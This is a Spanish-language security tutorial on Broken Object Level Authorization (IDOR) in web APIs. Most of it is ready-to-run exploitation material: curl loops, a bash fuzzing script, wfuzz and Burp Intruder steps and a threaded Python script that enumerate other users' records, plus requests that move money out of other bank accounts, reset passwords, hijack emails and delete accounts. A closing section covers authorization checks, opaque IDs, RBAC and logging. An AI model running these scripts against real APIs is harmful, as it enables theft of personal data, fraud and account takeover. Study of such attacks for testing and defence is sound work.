Skip to content

Broken Object Level Authorization (BOLA) - Autorización Rota a Nivel de Objeto

También conocida como Insecure Direct Object Reference (IDOR) en términos de OWASP Top 10.

CWE: CWE-639 - Authorization Bypass Through User-Controlled Key
Referencia: https://cwe.mitre.org/data/definitions/639.html


¿Qué es BOLA?

Una vulnerabilidad de seguridad donde la API no verifica adecuadamente que un usuario está autorizado a acceder a un objeto específico. El atacante simplemente modifica el identificador del objeto (ID) en la solicitud para acceder a recursos de otros usuarios.

Mecanismo Simple

Usuario A (ID 100) → Puede ver su perfil: /api/users/100
Usuario B (ID 200) → Intenta acceder: /api/users/100 → ¡ACCEDE SIN AUTORIZACIÓN!

Tipos de Identificadores Vulnerables

1. IDs Secuenciales Numéricos

bash
# Enumeración simple
curl https://api.tienda.com/api/orders/1001 -H "Authorization: Bearer token_usuario"
curl https://api.tienda.com/api/orders/1002
curl https://api.tienda.com/api/orders/1003
# ...etc

# Con Burp Intruder
# Usar Sniper attack con números 1001-2000

2. UUIDs Débiles o Predecibles

bash
# UUID secuencial
550e8400-e29b-41d4-a716-446655440000
550e8400-e29b-41d4-a716-446655440001

# UUID en patrón
curl https://api.banco.com/api/accounts/550e8400-e29b-41d4-a716-446655440000

3. Base64 Encoded IDs

bash
# Decodificar
echo "dXNlcl8xMDA=" | base64 -d  # user_100

# Modificar y encodificar
echo "user_200" | base64  # dXNlcl8yMDA=

curl https://api.app.com/api/profile -H "X-User-ID: dXNlcl8yMDA="

Ejemplos de Explotación Detallados

Caso 1: Sistema Bancario - Transferencias

API Vulnerable:

POST /api/transfers
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

{
  "from_account": "ACC-USER-123",
  "to_account": "ACC-ATTACKER-999",
  "amount": 1000,
  "currency": "USD"
}

Explotación - Cambiar Cuenta de Origen:

bash
# 1. Enumerar cuentas válidas
for i in {1..100}; do
  curl -s "https://api.banco.com/api/accounts/ACC-USER-$i" \
    -H "Authorization: Bearer token" | jq '.account_holder'
done

# 2. Transferir dinero de otra cuenta
curl -X POST "https://api.banco.com/api/transfers" \
  -H "Authorization: Bearer token_attacker" \
  -H "Content-Type: application/json" \
  -d '{
    "from_account": "ACC-USER-50",
    "to_account": "ACC-ATTACKER-999",
    "amount": 5000,
    "currency": "USD"
  }'

# 3. Resultado: Transferencia completada sin permisos

Caso 2: E-commerce - Ver Órdenes de Otros Usuarios

API Vulnerable:

bash
GET /api/v1/orders/12345
Authorization: Bearer usuario_legítimo_token

Respuesta:
{
  "order_id": 12345,
  "user_id": 100,
  "items": [{
    "product": "Laptop",
    "price": 999.99,
    "quantity": 1
  }],
  "shipping_address": "123 Main St, City, Country",
  "credit_card": "XXXX-XXXX-XXXX-1234"
}

Explotación:

bash
# 1. Enumerar órdenes
for i in {1000..5000}; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.shop.com/api/v1/orders/$i" \
    -H "Authorization: Bearer token")
  
  if [ $status -eq 200 ]; then
    echo "Orden $i existe"
    curl "https://api.shop.com/api/v1/orders/$i" \
      -H "Authorization: Bearer token" | jq '.'
  fi
done

# 2. Ver datos sensibles de otros usuarios
curl "https://api.shop.com/api/v1/orders/12346" \
  -H "Authorization: Bearer token_attacker"

# Resultado: Acceso a dirección de envío, tarjeta de crédito, etc

Caso 3: Cloud Storage - Acceso a Archivos

API Vulnerable:

bash
GET /api/files/share/550e8400-e29b-41d4-a716-446655440000
Authorization: Bearer token

Response:
{
  "file_id": "550e8400-e29b-41d4-a716-446655440000",
  "filename": "confidential_2024.pdf",
  "owner_id": 100,
  "shared_with": [101, 102],
  "size": 2048576,
  "url": "/downloads/confidential_2024.pdf"
}

Explotación:

bash
# 1. Interceptar solicitud de descarga
curl "https://api.cloud.com/api/files/share/550e8400-e29b-41d4-a716-446655440000" \
  -H "Authorization: Bearer attacker_token"

# 2. Fuerza bruta de UUIDs
for i in {0..1000}; do
  uuid="550e8400-e29b-41d4-a716-44665544$(printf "%04d" $i)"
  curl -s "https://api.cloud.com/api/files/share/$uuid" \
    -H "Authorization: Bearer token" | jq 'select(.file_id) | .filename'
done

# 3. Descargar archivos confidenciales
curl "https://api.cloud.com/downloads/confidential_2024.pdf" \
  -H "Authorization: Bearer attacker_token" \
  -o confidential.pdf

Técnicas de Enumeración Avanzadas

1. Fuzzing de IDs

bash
#!/bin/bash
# Script para enumerar recursos

API="https://api.target.com"
ENDPOINT="/api/users"
TOKEN="eyJhbGciOiJIUzI1NiIs..."

for id in {1..1000}; do
  response=$(curl -s "$API$ENDPOINT/$id" \
    -H "Authorization: Bearer $TOKEN" \
    -w "\n%{http_code}")
  
  http_code=$(echo "$response" | tail -1)
  body=$(echo "$response" | head -1)
  
  if [ "$http_code" -eq 200 ]; then
    echo "✓ ID $id exists (200)"
    echo "$body" | jq '.email, .name, .phone' 2>/dev/null || echo "$body"
  elif [ "$http_code" -eq 403 ]; then
    echo "✗ ID $id exists but forbidden (403)"
  fi
done

2. Usar Burp Intruder

1. Capturar solicitud en Burp Proxy:
   GET /api/users/100
   Authorization: Bearer token

2. Enviar a Intruder (Ctrl+I)

3. Marcar variable:
   GET /api/users/§100§
   
4. Payload -> Números
   From: 1, To: 10000, Step: 1

5. Ejecutar y filtrar por:
   - Status 200 (acceso exitoso)
   - Response size diferente (datos sensibles)
   - Patrón en respuesta (email, name, etc)

3. Modificar Parámetros Relacionados

bash
# ID en URL
curl "https://api.app.com/api/users/100"

# ID en parámetro
curl "https://api.app.com/api/users?id=100"

# ID en JSON
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"user_id": 100}'

# ID en header
curl "https://api.app.com/api/profile" \
  -H "X-User-ID: 100"

# ID en JWT (si está decodificado)
# jwt.decode(token).user_id = 200

Métodos de Explotación Específicos

Acceso a Datos Personales

bash
# Perfiles de usuario
curl https://api.social.com/api/users/999/profile

# Información de contacto
curl https://api.social.com/api/users/999/contact

# Historial de actividad
curl https://api.social.com/api/users/999/activity

# Datos de ubicación
curl https://api.social.com/api/users/999/location

Modificación de Datos (BOLA + Write)

bash
# Cambiar email de otro usuario
curl -X PUT "https://api.app.com/api/users/100" \
  -H "Authorization: Bearer attacker_token" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "hacker@evil.com",
    "name": "Hacked User"
  }'

# Cambiar contraseña
curl -X POST "https://api.app.com/api/users/100/password" \
  -d '{
    "old_password": "ignored",
    "new_password": "hacker123"
  }'

# Agregar tarjeta de crédito
curl -X POST "https://api.app.com/api/users/100/payment" \
  -d '{
    "card_number": "4111111111111111",
    "cvv": "123"
  }'

Eliminación de Datos

bash
# Eliminar cuenta de otro usuario
curl -X DELETE "https://api.app.com/api/users/100" \
  -H "Authorization: Bearer attacker_token"

# Eliminar órdenes
curl -X DELETE "https://api.app.com/api/orders/12345"

# Eliminar archivos
curl -X DELETE "https://api.app.com/api/files/document-id"

Herramientas para Detección y Explotación

curl - Básico

bash
# Prueba simple
curl -v "https://api.app.com/api/users/100" \
  -H "Authorization: Bearer token"

# Con manejo de errores
curl -s "https://api.app.com/api/users/100" | jq '.user_id, .email'

Burp Suite - Interceptar y Modificar

  1. Configurar proxy: Burp → Listener en 127.0.0.1:8080
  2. Interceptar solicitud: GET /api/users/100
  3. Modificar ID: GET /api/users/200
  4. Forward: Observar si acepta

wfuzz - Fuzzing Web

bash
# Enumerar IDs
wfuzz -c -z range-1-1000 \
  -H "Authorization: Bearer token" \
  https://api.app.com/api/users/FUZZ

# Filtrar por status 200
wfuzz -c -z range-1-1000 \
  --sc 200 \
  -H "Authorization: Bearer token" \
  https://api.app.com/api/users/FUZZ

# Con diccionario personalizado
wfuzz -c -z file-ids.txt \
  https://api.app.com/api/users/FUZZ

OWASP ZAP - Ataque automático

bash
# Activar scanner
1. Abrir OWASP ZAP
2. Tools Options Alert Filters
3. Activar "Broken Access Control"
4. Spider: https://api.app.com
5. Active Scan

Python - Automatizar Explotación

python
import requests
import json
from concurrent.futures import ThreadPoolExecutor

def check_bola(user_id, token):
    """Verificar si se puede acceder a otro usuario"""
    url = f"https://api.app.com/api/users/{user_id}"
    headers = {"Authorization": f"Bearer {token}"}
    
    try:
        response = requests.get(url, headers=headers, timeout=5)
        
        if response.status_code == 200:
            data = response.json()
            print(f"[✓] ID {user_id} accessible")
            print(f"    Email: {data.get('email')}")
            print(f"    Name: {data.get('name')}")
            return data
        elif response.status_code == 403:
            print(f"[✗] ID {user_id} forbidden (403)")
        elif response.status_code == 404:
            print(f"[-] ID {user_id} not found (404)")
    except Exception as e:
        print(f"[!] Error {user_id}: {str(e)}")
    
    return None

# Ejecutar con threads
with ThreadPoolExecutor(max_workers=10) as executor:
    token = "eyJhbGciOiJIUzI1NiIs..."
    for user_id in range(1, 1001):
        executor.submit(check_bola, user_id, token)

Mitigación y Prevención

1. Verificar Autorización en Cada Endpoint

python
# VULNERABLE
@app.route('/api/users/<user_id>')
def get_user(user_id):
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# SEGURO
@app.route('/api/users/<user_id>')
def get_user(user_id):
    current_user = verify_token(request.headers.get('Authorization'))
    
    # Verificar que el usuario accede a su propio ID
    if int(user_id) != current_user.id and not current_user.is_admin:
        return {"error": "Unauthorized"}, 403
    
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

2. Usar Identificadores Opacos

python
# En lugar de IDs secuenciales
import uuid

# Usar UUIDs
user_uuid = str(uuid.uuid4())  # 550e8400-e29b-41d4-a716-446655440000

# Mapear UUID interno → ID público
user_mapping = {
    'uuid_public': 'db_internal_id'
}

3. Role-Based Access Control (RBAC)

python
def require_role(role):
    def decorator(f):
        def wrapper(*args, **kwargs):
            user = verify_token(request.headers.get('Authorization'))
            if user.role != role and user.role != 'admin':
                return {"error": "Forbidden"}, 403
            return f(*args, **kwargs)
        return wrapper
    return decorator

@app.route('/api/admin/users')
@require_role('admin')
def admin_users():
    return jsonify(User.query.all())

4. Logging y Monitoreo

python
import logging

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# En cada endpoint
logger.info(f"User {user_id} accessed resource {resource_id}")

# Detectar patrones de abuso
if requests_per_user > 1000:
    logger.warning(f"High request rate from user {user_id}")
    # Bloquear usuario

Checklist de Prueba

  • [ ] Enumerar IDs secuenciales (1, 2, 3, ...)
  • [ ] Intentar acceder a IDs de otros usuarios
  • [ ] Modificar parámetros de ID en URL, JSON, headers
  • [ ] Probar con diferentes roles/usuarios
  • [ ] Intentar modificar/eliminar recursos
  • [ ] Verificar respuestas 403 (podría ser indicio)
  • [ ] Buscar datos sensibles expuestos (email, teléfono, etc)
  • [ ] Usar Burp Intruder para fuzzing
  • [ ] Probar con IDs especiales (0, -1, admin, etc)
  • [ ] Verif icar si hay cambios en seguridad tras logout

Referencias